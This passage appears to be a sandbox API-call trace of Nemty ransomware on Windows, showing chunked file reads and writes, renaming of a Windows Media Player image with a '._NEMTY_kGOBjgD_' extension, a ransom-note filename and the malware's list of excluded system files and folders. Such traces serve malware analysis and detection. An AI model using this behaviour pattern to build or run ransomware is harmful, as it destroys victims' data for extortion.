out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.037] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.037] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.037] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.046] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.046] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.046] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.066] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.066] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.066] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.085] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.085] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.085] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922386, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.094] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.094] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.094] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.100] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.100] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.100] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653f1e4*=0x0, lpOverlapped=0x0) returned 0 [0107.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106062372, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106164772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0107.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0) returned 0 [0107.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0107.106] CloseHandle (hObject=0xffffffff) returned 0 [0107.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0107.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0107.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0107.106] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0107.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0107.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0107.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0107.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340308 [0107.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0107.106] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0107.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\wmpnss_color48.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows media player\\network sharing\\wmpnss_color48.png._nemty_kgobjgd_")) returned 0 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.107] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2392a70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf2392a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf2392a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0107.107] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.108] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0107.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94300 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94258 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.108] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2392a70, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xf2392a70, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xf2392a70, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0107.108] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94300 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0107.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0107.108] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa925159f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa925159f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1fb600, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2=".") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="..") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="...") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="windows") returned -1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="$RECYCLE.BIN") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="rsa") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="NTDETECT.COM") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ntldr") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="MSDOS.SYS") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="IO.SYS") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="boot.ini") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="boot.ini") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="AUTOEXEC.BAT") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="ntuser.dat") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="desktop.ini") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="CONFIG.SYS") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="RECYCLER") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="BOOTSECT.BAK") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="bootmgr") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="programdata") returned 1 [0107.109] lstrcmpiW (lpString1="setup_wm.exe", lpString2="appdata") returned 1 [0107.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe", lpUsedDefaultChar=0x0) returned 12 [0107.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup_wm.exe", lpUsedDefaultChar=0x0) returned 12 [0107.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0107.109] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0107.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0107.109] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup_wm.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | 